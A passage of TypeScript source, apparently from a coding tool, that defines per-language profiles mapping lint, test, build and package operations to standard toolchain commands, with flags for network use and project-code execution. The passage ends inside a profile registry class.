true,\n }),\n build: async (ctx) =>\n processPlan(ctx, 'build', 'swift', ['build', '-c', 'release'], {\n parser: 'swift',\n reason: 'Build the Swift package in release mode.',\n mutating: true,\n executesProjectCode: true,\n }),\n run: async (ctx) =>\n processPlan(ctx, 'run', 'swift', ['run'], {\n parser: 'command-text',\n reason: 'Run the Swift package entry point.',\n executesProjectCode: true,\n }),\n }),\n };\n}\n\nfunction dartProfile(): LanguageProfile {\n return {\n id: 'dart',\n displayName: 'Dart / Flutter',\n extensions: Object.freeze(['.dart']),\n lspLanguageIds: Object.freeze(['dart']),\n detectors: Object.freeze([\n { kind: 'manifest', filename: 'pubspec.yaml', weight: 90 },\n { kind: 'lockfile', filename: 'pubspec.lock', weight: 30 },\n ]),\n ignoredDirectories: IGNORES,\n packageManagers: Object.freeze(['pub']),\n executables: Object.freeze(['dart', 'flutter']),\n operations: Object.freeze({\n semantic: async (ctx) =>\n processPlan(ctx, 'semantic', 'dart', ['analyze'], {\n parser: 'dart-analyze',\n reason: 'Run Dart static analysis.',\n }),\n 'format-check': async (ctx) =>\n processPlan(\n ctx,\n 'format-check',\n 'dart',\n ['format', '--output=none', '--set-exit-if-changed', '.'],\n {\n parser: 'dart-format',\n reason: 'Check Dart formatting without writing files.',\n },\n ),\n 'format-write': async (ctx) =>\n processPlan(ctx, 'format-write', 'dart', ['format', '.'], {\n parser: 'dart-format',\n reason: 'Format Dart source files.',\n mutating: true,\n }),\n test: async (ctx) =>\n processPlan(ctx, 'test', 'dart', ['test'], {\n parser: 'dart-test',\n reason: 'Run Dart tests.',\n mutating: true,\n executesProjectCode: true,\n }),\n 'package-install': async (ctx) =>\n processPlan(ctx, 'package-install', 'dart', ['pub', 'get'], {\n parser: 'package-text',\n reason: 'Fetch Dart package dependencies.',\n mutating: true,\n network: true,\n }),\n 'package-outdated': async (ctx) =>\n processPlan(ctx, 'package-outdated', 'dart', ['pub', 'outdated'], {\n parser: 'dart-outdated',\n reason: 'Check for outdated Dart packages.',\n network: true,\n }),\n run: async (ctx) =>\n processPlan(ctx, 'run', 'dart', ['run'], {\n parser: 'command-text',\n reason: 'Run the Dart / Flutter project entry point.',\n executesProjectCode: true,\n }),\n }),\n };\n}\n\nfunction denoProfile(): LanguageProfile {\n return {\n id: 'deno',\n displayName: 'Deno',\n extensions: Object.freeze(['.ts', '.tsx', '.js', '.jsx']),\n lspLanguageIds: Object.freeze(['typescript', 'javascript']),\n detectors: Object.freeze([\n { kind: 'config', filename: 'deno.json', weight: 90 },\n { kind: 'config', filename: 'deno.jsonc', weight: 90 },\n { kind: 'config', filename: 'import_map.json', weight: 60 },\n ]),\n ignoredDirectories: IGNORES,\n packageManagers: Object.freeze([]),\n executables: Object.freeze(['deno']),\n // .ts/.js extensions are shared with the TypeScript/JavaScript profiles;\n // only a deno.json(c)/import_map.json detector hit may establish a workspace.\n sourceFallback: false,\n operations: Object.freeze({\n test: async (ctx) =>\n processPlan(ctx, 'test', 'deno', ['test'], {\n parser: 'deno-test',\n reason: 'Run Deno tests.',\n mutating: true,\n executesProjectCode: true,\n }),\n run: async (ctx) =>\n processPlan(ctx, 'run', 'deno', ['run', '--allow-all', 'main.ts'], {\n parser: 'command-text',\n reason: 'Run the Deno project entry point with full permission.',\n executesProjectCode: true,\n mutating: true,\n }),\n }),\n };\n}\n\nfunction elixirProfile(): LanguageProfile {\n return {\n id: 'elixir',\n displayName: 'Elixir',\n extensions: Object.freeze(['.ex', '.exs']),\n lspLanguageIds: Object.freeze(['elixir']),\n detectors: Object.freeze([\n { kind: 'manifest', filename: 'mix.exs', weight: 90 },\n { kind: 'lockfile', filename: 'mix.lock', weight: 30 },\n ]),\n ignoredDirectories: IGNORES,\n packageManagers: Object.freeze(['mix']),\n executables: Object.freeze(['mix', 'elixir']),\n operations: Object.freeze({\n semantic: async (ctx) =>\n unavailable(ctx, 'semantic', 'Elixir compilation is handled by the build operation.'),\n lint: async (ctx) => unavailable(ctx, 'lint', 'Elixir linting requires the credo package.'),\n test: async (ctx) =>\n processPlan(ctx, 'test', 'mix', ['test'], {\n parser: 'mix-test',\n reason: 'Run ExUnit tests.',\n mutating: true,\n executesProjectCode: true,\n }),\n build: async (ctx) =>\n processPlan(ctx, 'build', 'mix', ['compile'], {\n parser: 'mix',\n reason: 'Compile the Mix project.',\n mutating: true,\n executesProjectCode: true,\n }),\n run: async (ctx) =>\n processPlan(ctx, 'run', 'mix', ['run'], {\n parser: 'command-text',\n reason: 'Run the Mix project entry point.',\n executesProjectCode: true,\n }),\n 'package-install': async (ctx) =>\n processPlan(ctx, 'package-install', 'mix', ['deps.get'], {\n parser: 'package-text',\n reason: 'Fetch Elixir dependencies.',\n mutating: true,\n network: true,\n }),\n }),\n };\n}\n\nfunction shellProfile(): LanguageProfile {\n return {\n id: 'shell',\n displayName: 'Shell',\n extensions: Object.freeze(['.sh', '.bash']),\n lspLanguageIds: Object.freeze(['shellscript']),\n detectors: Object.freeze([{ kind: 'config', filename: 'ShellCheckrc', weight: 50 }]),\n ignoredDirectories: IGNORES,\n packageManagers: Object.freeze([]),\n executables: Object.freeze(['bash', 'sh', 'shellcheck', 'shfmt']),\n operations: Object.freeze({\n syntax: async (ctx) =>\n ctx.options.target\n ? processPlan(ctx, 'syntax', 'bash', ['-n', ctx.options.target], {\n parser: 'shell',\n reason: 'Check the shell script for syntax errors.',\n })\n : unavailable(ctx, 'syntax', 'Shell syntax check requires an explicit target file.'),\n lint: async (ctx) =>\n ctx.options.target\n ? processPlan(ctx, 'lint', 'shellcheck', ['--format=json', ctx.options.target], {\n parser: 'shellcheck',\n reason: 'Run ShellCheck on the target script.',\n })\n : unavailable(ctx, 'lint', 'Shell linting requires an explicit target file.'),\n 'format-check': async (ctx) =>\n ctx.options.target\n ? processPlan(ctx, 'format-check', 'shfmt', ['-d', ctx.options.target], {\n parser: 'shell',\n reason: 'Check shell formatting without writing.',\n })\n : unavailable(\n ctx,\n 'format-check',\n 'Shell formatting check requires an explicit target file.',\n ),\n 'format-write': async (ctx) =>\n ctx.options.target\n ? processPlan(ctx, 'format-write', 'shfmt', ['-w', ctx.options.target], {\n parser: 'shell',\n reason: 'Format the shell script.',\n mutating: true,\n })\n : unavailable(ctx, 'format-write', 'Shell formatting requires an explicit target file.'),\n }),\n };\n}\n\nexport const ADDITIONAL_LANGUAGE_PROFILES: readonly LanguageProfile[] = Object.freeze([\n pythonProfile(),\n javaProfile(),\n rubyProfile(),\n cProfile(),\n cppProfile(),\n swiftProfile(),\n dartProfile(),\n denoProfile(),\n elixirProfile(),\n shellProfile(),\n]);\n", "import { internalPlan, packageNames, processPlan, unavailable } from '../profile-helpers.js';\nimport type { LanguageOperation, LanguageProfile, ProfileContext } from '../types.js';\n\nconst COMMON_IGNORES = Object.freeze([\n '.git',\n '.wrongstack',\n 'node_modules',\n 'vendor',\n 'target',\n 'bin',\n 'obj',\n 'dist',\n 'build',\n 'coverage',\n]);\n\nfunction nodeManager(ctx: ProfileContext): string | undefined {\n const lockfiles = new Set(\n ctx.workspace.evidence\n .filter((evidence) => evidence.kind === 'lockfile')\n .map((evidence) => evidence.value.toLowerCase()),\n );\n if (lockfiles.size > 1 && !ctx.workspace.packageManager) return undefined;\n return ctx.workspace.packageManager ?? 'npm';\n}\n\nfunction scriptPlan(ctx: ProfileContext, operation: string, script: string) {\n const manager = nodeManager(ctx);\n if (!manager)\n return unavailable(\n ctx,\n operation as LanguageOperation,\n 'Conflicting Node lockfiles make the package manager ambiguous.',\n );\n const args = manager === 'npm' ? ['run', script] : [script];\n return processPlan(ctx, operation as LanguageOperation, manager, args, {\n parser: 'command-text',\n reason: `Run the detected ${manager} ${script} script for this workspace.`,\n mutating: true,\n executesProjectCode: true,\n });\n}\n\nfunction nodeExec(ctx: ProfileContext, executable: string, args: readonly string[]) {\n const manager = ctx.workspace.packageManager ?? 'npm';\n if (manager === 'pnpm') return { command: 'pnpm', args: ['exec', executable, ...args] };\n if (manager === 'yarn') return { command: 'yarn', args: ['exec', executable, ...args] };\n if (manager === 'bun') return { command: 'bun', args: ['x', executable, ...args] };\n return { command: 'npx', args: ['--no-install', executable, ...args] };\n}\n\nfunction typescriptProfile(): LanguageProfile {\n return {\n id: 'typescript',\n displayName: 'TypeScript',\n extensions: Object.freeze(['.ts', '.tsx', '.mts', '.cts']),\n lspLanguageIds: Object.freeze(['typescript', 'typescriptreact']),\n detectors: Object.freeze([\n { kind: 'config', filename: 'tsconfig.json', weight: 90 },\n { kind: 'manifest', filename: 'package.json', weight: 55 },\n { kind: 'lockfile', filename: 'pnpm-lock.yaml', weight: 30 },\n { kind: 'lockfile', filename: 'yarn.lock', weight: 30 },\n { kind: 'lockfile', filename: 'package-lock.json', weight: 30 },\n { kind: 'lockfile', filename: 'bun.lock', weight: 30 },\n { kind: 'lockfile', filename: 'bun.lockb', weight: 30 },\n ]),\n ignoredDirectories: COMMON_IGNORES,\n packageManagers: Object.freeze(['pnpm', 'yarn', 'bun', 'npm']),\n executables: Object.freeze(['pnpm', 'yarn', 'bun', 'npx', 'npm']),\n operations: Object.freeze({\n syntax: async (ctx) =>\n internalPlan(\n ctx,\n 'syntax',\n 'typescript-parser',\n 'Parse the target with the TypeScript compiler API.',\n ),\n semantic: async (ctx) => {\n const run = nodeExec(ctx, 'tsc', ['--noEmit', '--pretty', 'false']);\n return processPlan(ctx, 'semantic', run.command, run.args, {\n parser: 'typescript',\n reason: 'Run the workspace TypeScript compiler without emitting files.',\n executesProjectCode: true,\n });\n },\n lint: async (ctx) => {\n const run = nodeExec(ctx, 'biome', ['lint', '.']);\n return processPlan(ctx, 'lint', run.command, run.args, {\n parser: 'biome',\n reason: 'Run the project-local Biome linter.',\n executesProjectCode: true,\n });\n },\n 'format-check': async (ctx) => {\n const run = nodeExec(ctx, 'biome', ['format', '--check', '.']);\n return processPlan(ctx, 'format-check', run.command, run.args, {\n parser: 'biome',\n reason: 'Check formatting with the project-local Biome formatter.',\n executesProjectCode: true,\n });\n },\n 'format-write': async (ctx) => {\n const run = nodeExec(ctx, 'biome', ['format', '--write', '.']);\n return processPlan(ctx, 'format-write', run.command, run.args, {\n parser: 'biome',\n reason: 'Format the workspace with the project-local Biome formatter.',\n mutating: true,\n executesProjectCode: true,\n });\n },\n test: async (ctx) =>\n ctx.options.filter || ctx.options.coverage\n ? unavailable(\n ctx,\n 'test',\n 'The detected package script does not expose deterministic filter or coverage adapters.',\n )\n : scriptPlan(ctx, 'test', 'test'),\n build: async (ctx) => scriptPlan(ctx, 'build', 'build'),\n run: async (ctx) => scriptPlan(ctx, 'run', 'dev'),\n 'debug-compile': async (ctx) => {\n const run = nodeExec(ctx, 'tsc', ['--noEmit', '--pretty', 'false']);\n return processPlan(ctx, 'debug-compile', run.command, run.args, {\n parser: 'typescript',\n reason: 'Collect deterministic TypeScript compiler diagnostics.',\n executesProjectCode: true,\n });\n },\n 'package-install': async (ctx) => {\n const manager = ctx.workspace.packageManager ?? 'npm';\n const args =\n manager === 'yarn' ? ['install', '--ignore-scripts'] : ['install', '--ignore-scripts'];\n return processPlan(ctx, 'package-install', manager, args, {\n parser: 'package-text',\n reason: `Restore declared dependencies with ${manager} and lifecycle scripts disabled.`,\n mutating: true,\n network: true,\n executesProjectCode: false,\n });\n },\n 'package-add': async (ctx) => {\n const names = packageNames(ctx);\n if (names.length === 0)\n return unavailable(ctx, 'package-add', 'At least one package name is required.');\n const manager = ctx.workspace.packageManager ?? 'npm';\n const args =\n manager === 'npm'\n ? ['install', '--ignore-scripts', ...names]\n : ['add', '--ignore-scripts', ...names];\n return processPlan(ctx, 'package-add', manager, args, {\n parser: 'package-text',\n reason: `Add validated packages with ${manager} and lifecycle scripts disabled.`,\n mutating: true,\n network: true,\n });\n },\n 'package-remove': async (ctx) => {\n const names = packageNames(ctx);\n if (names.length === 0)\n return unavailable(ctx, 'package-remove', 'At least one package name is required.');\n const manager = ctx.workspace.packageManager ?? 'npm';\n const args =\n manager === 'npm'\n ? ['uninstall', '--ignore-scripts', ...names]\n : ['remove', '--ignore-scripts', ...names];\n return processPlan(ctx, 'package-remove', manager, args, {\n parser: 'package-text',\n reason: `Remove validated packages with ${manager} and lifecycle scripts disabled.`,\n mutating: true,\n network: true,\n });\n },\n 'package-audit': async (ctx) => {\n const manager = ctx.workspace.packageManager ?? 'npm';\n return processPlan(ctx, 'package-audit', manager, ['audit', '--json'], {\n parser: 'npm-audit',\n reason: `Audit dependencies with the detected ${manager} package manager.`,\n network: true,\n });\n },\n 'package-outdated': async (ctx) => {\n const manager = ctx.workspace.packageManager ?? 'npm';\n return processPlan(ctx, 'package-outdated', manager, ['outdated', '--json'], {\n parser: 'npm-outdated',\n reason: `Check outdated dependencies with ${manager}.`,\n network: true,\n });\n },\n }),\n };\n}\n\nfunction javascriptProfile(): LanguageProfile {\n const ts = typescriptProfile();\n return {\n ...ts,\n id: 'javascript',\n displayName: 'JavaScript',\n extensions: Object.freeze(['.js', '.jsx', '.mjs', '.cjs']),\n lspLanguageIds: Object.freeze(['javascript', 'javascriptreact']),\n detectors: Object.freeze([\n { kind: 'config', filename: 'jsconfig.json', weight: 90 },\n { kind: 'manifest', filename: 'package.json', weight: 70 },\n { kind: 'lockfile', filename: 'pnpm-lock.yaml', weight: 30 },\n { kind: 'lockfile', filename: 'yarn.lock', weight: 30 },\n { kind: 'lockfile', filename: 'package-lock.json', weight: 30 },\n { kind: 'lockfile', filename: 'bun.lock', weight: 30 },\n { kind: 'lockfile', filename: 'bun.lockb', weight: 30 },\n ]),\n operations: Object.freeze({\n ...ts.operations,\n syntax: async (ctx: ProfileContext) =>\n internalPlan(\n ctx,\n 'syntax',\n 'typescript-parser',\n 'Parse JavaScript with the TypeScript compiler API.',\n ),\n }),\n };\n}\n\nconst goProfile: LanguageProfile = {\n id: 'go',\n displayName: 'Go',\n extensions: Object.freeze(['.go']),\n lspLanguageIds: Object.freeze(['go']),\n detectors: Object.freeze([\n { kind: 'manifest', filename: 'go.mod', weight: 90 },\n { kind: 'manifest', filename: 'go.work', weight: 95 },\n { kind: 'lockfile', filename: 'go.sum', weight: 30 },\n ]),\n ignoredDirectories: COMMON_IGNORES,\n packageManagers: Object.freeze(['go']),\n executables: Object.freeze(['go', 'gofmt']),\n operations: Object.freeze({\n syntax: async (ctx) => {\n if (!ctx.target)\n return unavailable(ctx, 'syntax', 'Go syntax planning requires a target file.');\n return processPlan(ctx, 'syntax', 'gofmt', ['-e', '-d', ctx.target], {\n parser: 'gofmt',\n reason: 'Parse the target and report syntax errors without writing it.',\n });\n },\n semantic: async (ctx) =>\n processPlan(ctx, 'semantic', 'go', ['test', '-run', '^$', './...'], {\n parser: 'go-test',\n reason: 'Compile all Go packages without selecting tests.',\n mutating: true,\n executesProjectCode: true,\n }),\n lint: async (ctx) =>\n processPlan(ctx, 'lint', 'go', ['vet', './...'], {\n parser: 'go-compiler',\n reason: 'Run the standard Go vet checks.',\n mutating: true,\n executesProjectCode: true,\n }),\n 'format-check': async (ctx) =>\n ctx.target\n ? processPlan(ctx, 'format-check', 'gofmt', ['-d', ctx.target], {\n parser: 'gofmt',\n reason: 'Report Go formatting differences for the target without writing it.',\n })\n : unavailable(ctx, 'format-check', 'Go formatting requires an explicit target file.'),\n 'format-write': async (ctx) =>\n ctx.target\n ? processPlan(ctx, 'format-write', 'gofmt', ['-w', ctx.target], {\n parser: 'gofmt',\n reason: 'Format the target Go source file.',\n mutating: true,\n })\n : unavailable(ctx, 'format-write', 'Go formatting requires an explicit target file.'),\n test: async (ctx) =>\n processPlan(\n ctx,\n 'test',\n 'go',\n ['test', ...(ctx.options.filter ? ['-run', ctx.options.filter] : []), './...'],\n {\n parser: 'go-test',\n reason: ctx.options.filter ? 'Run filtered Go tests.' : 'Run all Go tests.',\n mutating: true,\n executesProjectCode: true,\n },\n ),\n build: async (ctx) =>\n processPlan(ctx, 'build', 'go', ['build', './...'], {\n parser: 'go-compiler',\n reason: 'Build all Go packages.',\n mutating: true,\n executesProjectCode: true,\n }),\n run: async (ctx) =>\n processPlan(ctx, 'run', 'go', ['run', '.'], {\n parser: 'command-text',\n reason: 'Run the Go module entry point.',\n executesProjectCode: true,\n }),\n 'debug-race': async (ctx) =>\n processPlan(ctx, 'debug-race', 'go', ['test', '-race', './...'], {\n parser: 'go-test',\n reason: 'Collect Go race-detector evidence.',\n mutating: true,\n executesProjectCode: true,\n }),\n 'package-install': async (ctx) =>\n processPlan(ctx, 'package-install', 'go', ['mod', 'download'], {\n parser: 'go-module',\n reason: 'Download the dependencies declared by go.mod.',\n mutating: true,\n network: true,\n }),\n 'package-add': async (ctx) => {\n const names = packageNames(ctx);\n if (names.length === 0)\n return unavailable(ctx, 'package-add', 'At least one Go module is required.');\n return processPlan(ctx, 'package-add', 'go', ['get', ...names], {\n parser: 'go-module',\n reason: 'Add validated Go modules.',\n mutating: true,\n network: true,\n });\n },\n 'package-update': async (ctx) =>\n processPlan(ctx, 'package-update', 'go', ['get', '-u', './...'], {\n parser: 'go-module',\n reason: 'Update dependencies of all Go packages.',\n mutating: true,\n network: true,\n }),\n }),\n};\n\nconst rustProfile: LanguageProfile = {\n id: 'rust',\n displayName: 'Rust',\n extensions: Object.freeze(['.rs']),\n lspLanguageIds: Object.freeze(['rust']),\n detectors: Object.freeze([\n { kind: 'manifest', filename: 'Cargo.toml', weight: 90 },\n { kind: 'lockfile', filename: 'Cargo.lock', weight: 30 },\n ]),\n ignoredDirectories: COMMON_IGNORES,\n packageManagers: Object.freeze(['cargo']),\n executables: Object.freeze(['cargo']),\n operations: Object.freeze({\n syntax: async (ctx) =>\n processPlan(ctx, 'syntax', 'cargo', ['check', '--message-format=json'], {\n parser: 'cargo-json',\n reason: 'Check Rust syntax and semantics with Cargo.',\n mutating: true,\n executesProjectCode: true,\n }),\n semantic: async (ctx) =>\n processPlan(ctx, 'semantic', 'cargo', ['check', '--message-format=json'], {\n parser: 'cargo-json',\n reason: 'Collect Rust compiler diagnostics with Cargo check.',\n mutating: true,\n executesProjectCode: true,\n }),\n lint: async (ctx) =>\n processPlan(ctx, 'lint', 'cargo', ['clippy', '--message-format=json'], {\n parser: 'cargo-json',\n reason: 'Run Clippy for this crate.',\n mutating: true,\n executesProjectCode: true,\n }),\n 'format-check': async (ctx) =>\n processPlan(ctx, 'format-check', 'cargo', ['fmt', '--check'], {\n parser: 'cargo-fmt',\n reason: 'Check Rust formatting without writing files.',\n }),\n 'format-write': async (ctx) =>\n processPlan(ctx, 'format-write', 'cargo', ['fmt'], {\n parser: 'cargo-fmt',\n reason: 'Format Rust source files in the workspace.',\n mutating: true,\n }),\n 'test-compile': async (ctx) =>\n processPlan(ctx, 'test-compile', 'cargo', ['test', '--no-run', '--message-format=json'], {\n parser: 'cargo-json',\n reason: 'Compile Rust tests without running them.',\n mutating: true,\n executesProjectCode: true,\n }),\n test: async (ctx) =>\n processPlan(\n ctx,\n 'test',\n 'cargo',\n ['test', ...(ctx.options.filter ? [ctx.options.filter] : [])],\n {\n parser: 'cargo-test',\n reason: ctx.options.filter ? 'Run filtered Rust tests.' : 'Run Rust tests.',\n mutating: true,\n executesProjectCode: true,\n },\n ),\n build: async (ctx) =>\n processPlan(ctx, 'build', 'cargo', ['build', '--message-format=json'], {\n parser: 'cargo-json',\n reason: 'Build the Rust workspace.',\n mutating: true,\n executesProjectCode: true,\n }),\n run: async (ctx) =>\n processPlan(ctx, 'run', 'cargo', ['run'], {\n parser: 'command-text',\n reason: 'Run the Rust workspace entry point.',\n executesProjectCode: true,\n }),\n 'package-install': async (ctx) =>\n processPlan(ctx, 'package-install', 'cargo', ['fetch', '--locked'], {\n parser: 'cargo-json',\n reason: 'Fetch locked Rust dependencies.',\n mutating: true,\n network: true,\n }),\n 'package-add': async (ctx) => {\n const names = packageNames(ctx);\n return names.length === 0\n ? unavailable(ctx, 'package-add', 'At least one crate is required.')\n : processPlan(ctx, 'package-add', 'cargo', ['add', ...names], {\n parser: 'cargo-text',\n reason: 'Add validated Rust crates.',\n mutating: true,\n network: true,\n });\n },\n 'package-remove': async (ctx) => {\n const names = packageNames(ctx);\n return names.length === 0\n ? unavailable(ctx, 'package-remove', 'At least one crate is required.')\n : processPlan(ctx, 'package-remove', 'cargo', ['remove', ...names], {\n parser: 'cargo-text',\n reason: 'Remove validated Rust crates.',\n mutating: true,\n });\n },\n 'package-update': async (ctx) =>\n processPlan(ctx, 'package-update', 'cargo', ['update'], {\n parser: 'cargo-text',\n reason: 'Update the Cargo lockfile.',\n mutating: true,\n network: true,\n }),\n 'package-audit': async (ctx) =>\n processPlan(ctx, 'package-audit', 'cargo', ['audit', '--json'], {\n parser: 'cargo-audit',\n reason: 'Audit Rust dependencies when cargo-audit is installed.',\n network: true,\n }),\n }),\n};\n\nconst phpProfile: LanguageProfile = {\n id: 'php',\n displayName: 'PHP',\n extensions: Object.freeze(['.php']),\n lspLanguageIds: Object.freeze(['php']),\n detectors: Object.freeze([\n { kind: 'manifest', filename: 'composer.json', weight: 90 },\n { kind: 'lockfile', filename: 'composer.lock', weight: 30 },\n { kind: 'config', filename: 'phpunit.xml', weight: 25 },\n { kind: 'config', filename: 'phpunit.xml.dist', weight: 25 },\n ]),\n ignoredDirectories: COMMON_IGNORES,\n packageManagers: Object.freeze(['composer']),\n executables: Object.freeze(['php', 'composer']),\n operations: Object.freeze({\n syntax: async (ctx) =>\n ctx.target\n ? processPlan(ctx, 'syntax', 'php', ['-l', ctx.target], {\n parser: 'php-lint',\n reason: 'Lint the target PHP file without executing it.',\n })\n : unavailable(ctx, 'syntax', 'PHP syntax planning requires a target file.'),\n semantic: async (ctx) =>\n unavailable(\n ctx,\n 'semantic',\n 'No configured PHPStan or Psalm adapter was detected in Phase 1.',\n ),\n test: async (ctx) =>\n processPlan(\n ctx,\n 'test',\n 'php',\n ['vendor/bin/phpunit', ...(ctx.options.filter ? ['--filter', ctx.options.filter] : [])],\n {\n parser: 'phpunit',\n reason: ctx.options.filter\n ? 'Run filtered tests with the project-local PHPUnit runner.'\n : 'Run the project-local PHPUnit test runner.',\n executesProjectCode: true,\n },\n ),\n 'package-install': async (ctx) =>\n processPlan(\n ctx,\n 'package-install',\n 'composer',\n ['install', '--no-interaction', '--no-scripts'],\n {\n parser: 'composer',\n reason: 'Restore Composer dependencies without scripts.',\n mutating: true,\n network: true,\n },\n ),\n 'package-add': async (ctx) => {\n const names = packageNames(ctx);\n return names.length === 0\n ? unavailable(ctx, 'package-add', 'At least one Composer package is required.')\n : processPlan(\n ctx,\n 'package-add',\n 'composer',\n ['require', '--no-interaction', '--no-scripts', ...names],\n {\n parser: 'composer',\n reason: 'Add validated Composer packages without scripts.',\n mutating: true,\n network: true,\n },\n );\n },\n 'package-remove': async (ctx) => {\n const names = packageNames(ctx);\n return names.length === 0\n ? unavailable(ctx, 'package-remove', 'At least one Composer package is required.')\n : processPlan(\n ctx,\n 'package-remove',\n 'composer',\n ['remove', '--no-interaction', '--no-scripts', ...names],\n {\n parser: 'composer',\n reason: 'Remove validated Composer packages without scripts.',\n mutating: true,\n },\n );\n },\n 'package-update': async (ctx) =>\n processPlan(\n ctx,\n 'package-update',\n 'composer',\n ['update', '--no-interaction', '--no-scripts'],\n {\n parser: 'composer',\n reason: 'Update Composer dependencies without scripts.',\n mutating: true,\n network: true,\n },\n ),\n 'package-audit': async (ctx) =>\n processPlan(ctx, 'package-audit', 'composer', ['audit', '--format=json'], {\n parser: 'composer-audit',\n reason: 'Audit Composer dependencies.',\n network: true,\n }),\n 'package-outdated': async (ctx) =>\n processPlan(ctx, 'package-outdated', 'composer', ['outdated', '--format=json'], {\n parser: 'composer-outdated',\n reason: 'Check outdated Composer dependencies.',\n network: true,\n }),\n }),\n};\n\nconst csharpProfile: LanguageProfile = {\n id: 'csharp',\n displayName: 'C# / .NET',\n extensions: Object.freeze(['.cs']),\n lspLanguageIds: Object.freeze(['csharp']),\n detectors: Object.freeze([\n { kind: 'config', filename: 'global.json', weight: 25 },\n { kind: 'manifest', suffix: '.slnx', weight: 95 },\n { kind: 'manifest', suffix: '.sln', weight: 95 },\n { kind: 'manifest', suffix: '.csproj', weight: 90 },\n { kind: 'manifest', suffix: '.fsproj', weight: 90 },\n { kind: 'lockfile', filename: 'packages.lock.json', weight: 30 },\n ]),\n ignoredDirectories: COMMON_IGNORES,\n packageManagers: Object.freeze(['dotnet']),\n executables: Object.freeze(['dotnet']),\n operations: Object.freeze({\n syntax: async (ctx) =>\n processPlan(ctx, 'syntax', 'dotnet', ['build', '--no-restore'], {\n parser: 'dotnet-build',\n reason: 'Use the nearest project or solution to collect C# syntax diagnostics.',\n mutating: true,\n executesProjectCode: true,\n }),\n semantic: async (ctx) =>\n processPlan(ctx, 'semantic', 'dotnet', ['build', '--no-restore'], {\n parser: 'dotnet-build',\n reason: 'Build without restoring to collect .NET compiler diagnostics.',\n mutating: true,\n executesProjectCode: true,\n }),\n lint: async (ctx) =>\n processPlan(ctx, 'lint', 'dotnet', ['format', '--verify-no-changes', '--no-restore'], {\n parser: 'dotnet-format',\n reason: 'Verify .NET formatting and analyzers without writing source files.',\n mutating: true,\n executesProjectCode: true,\n }),\n 'format-check': async (ctx) =>\n processPlan(\n ctx,\n 'format-check',\n 'dotnet',\n ['format', '--verify-no-changes', '--no-restore'],\n {\n parser: 'dotnet-format',\n reason: 'Verify .NET formatting without source writes.',\n mutating: true,\n executesProjectCode: true,\n },\n ),\n 'format-write': async (ctx) =>\n processPlan(ctx, 'format-write', 'dotnet', ['format', '--no-restore'], {\n parser: 'dotnet-format',\n reason: 'Format .NET source files without restoring packages.',\n mutating: true,\n executesProjectCode: true,\n }),\n test: async (ctx) =>\n processPlan(\n ctx,\n 'test',\n 'dotnet',\n ['test', '--no-restore', ...(ctx.options.filter ? ['--filter', ctx.options.filter] : [])],\n {\n parser: 'dotnet-test',\n reason: ctx.options.filter\n ? 'Run filtered .NET tests without restoring packages.'\n : 'Run .NET tests without restoring packages.',\n mutating: true,\n executesProjectCode: true,\n },\n ),\n build: async (ctx) =>\n processPlan(ctx, 'build', 'dotnet', ['build', '--no-restore'], {\n parser: 'dotnet-build',\n reason: 'Build the nearest .NET project or solution without restoring packages.',\n mutating: true,\n executesProjectCode: true,\n }),\n run: async (ctx) =>\n processPlan(ctx, 'run', 'dotnet', ['run', '--no-restore'], {\n parser: 'command-text',\n reason: 'Run the .NET project entry point.',\n mutating: true,\n executesProjectCode: true,\n }),\n 'package-install': async (ctx) =>\n processPlan(ctx, 'package-install', 'dotnet', ['restore', '--locked-mode'], {\n parser: 'dotnet-restore',\n reason: 'Restore locked .NET dependencies.',\n mutating: true,\n network: true,\n executesProjectCode: true,\n }),\n 'package-add': async (ctx) => {\n const names = packageNames(ctx);\n const [spec] = names;\n const versionAt = spec?.lastIndexOf('@') ?? -1;\n const packageName = versionAt > 0 ? spec?.slice(0, versionAt) : spec;\n const packageVersion = versionAt > 0 ? spec?.slice(versionAt + 1) : undefined;\n return names.length === 0\n ? unavailable(ctx, 'package-add', 'At least one NuGet package is required.')\n : names.length > 1\n ? unavailable(ctx, 'package-add', 'NuGet package changes run one package at a time.')\n : processPlan(\n ctx,\n 'package-add',\n 'dotnet',\n [\n 'add',\n 'package',\n packageName ?? '',\n ...(packageVersion ? ['--version', packageVersion] : []),\n ],\n {\n parser: 'dotnet-package',\n reason: 'Add validated NuGet packages.',\n mutating: true,\n network: true,\n executesProjectCode: true,\n },\n );\n },\n 'package-remove': async (ctx) => {\n const names = packageNames(ctx);\n return names.length === 0\n ? unavailable(ctx, 'package-remove', 'At least one NuGet package is required.')\n : processPlan(ctx, 'package-remove', 'dotnet', ['remove', 'package', ...names], {\n parser: 'dotnet-package',\n reason: 'Remove validated NuGet packages.',\n mutating: true,\n });\n },\n 'package-audit': async (ctx) =>\n processPlan(\n ctx,\n 'package-audit',\n 'dotnet',\n ['list', 'package', '--vulnerable', '--format', 'json'],\n { parser: 'dotnet-package', reason: 'List vulnerable NuGet dependencies.', network: true },\n ),\n 'package-outdated': async (ctx) =>\n processPlan(\n ctx,\n 'package-outdated',\n 'dotnet',\n ['list', 'package', '--outdated', '--format', 'json'],\n { parser: 'dotnet-package', reason: 'List outdated NuGet dependencies.', network: true },\n ),\n }),\n};\n\nexport const PRIMARY_LANGUAGE_PROFILES: readonly LanguageProfile[] = Object.freeze([\n Object.freeze(typescriptProfile()),\n Object.freeze(javascriptProfile()),\n Object.freeze(goProfile),\n Object.freeze(rustProfile),\n Object.freeze(phpProfile),\n Object.freeze(csharpProfile),\n]);\n", "import { ADDITIONAL_LANGUAGE_PROFILES } from './profiles/additional.js';\nimport { PRIMARY_LANGUAGE_PROFILES } from './profiles/primary.js';\nimport type { LanguageOperation, LanguageProfile, LanguageProfileId } from './types.js';\n\nconst PROFILE_ID_RE = /^[a-z][a-z0-9-]{0,63}$/;\nconst EXECUTABLE_RE = /^[A-Za-z0-9][A-Za-z0-9._+-]{0,127}$/;\nconst KNOWN_OPERATIONS = new Set<LanguageOperation>([\n 'syntax',\n 'semantic',\n 'lint',\n 'format-check',\n 'format-write',\n 'test-compile',\n 'test',\n 'build',\n 'run',\n 'debug-compile',\n 'debug-test',\n 'debug-runtime',\n 'debug-race',\n 'package-install',\n 'package-add',\n 'package-remove',\n 'package-update',\n 'package-audit',\n 'package-outdated',\n]);\n\nexport class LanguageProfileRegistry {\n readonly #profiles = new Map<LanguageProfileId, LanguageProfile>();\n\n constructor(profiles: readonly LanguageProfile[] = []) {\n for (const profile of profiles) this.register(profile);\n }\n\n register(profile: LanguageProfile): void {\n const errors = validateLanguageProfile(profile);\n if (errors.length > 0) {\n throw new Error(`Invalid language profile \"${profile.id}\": ${errors.join('; ')}`);\n 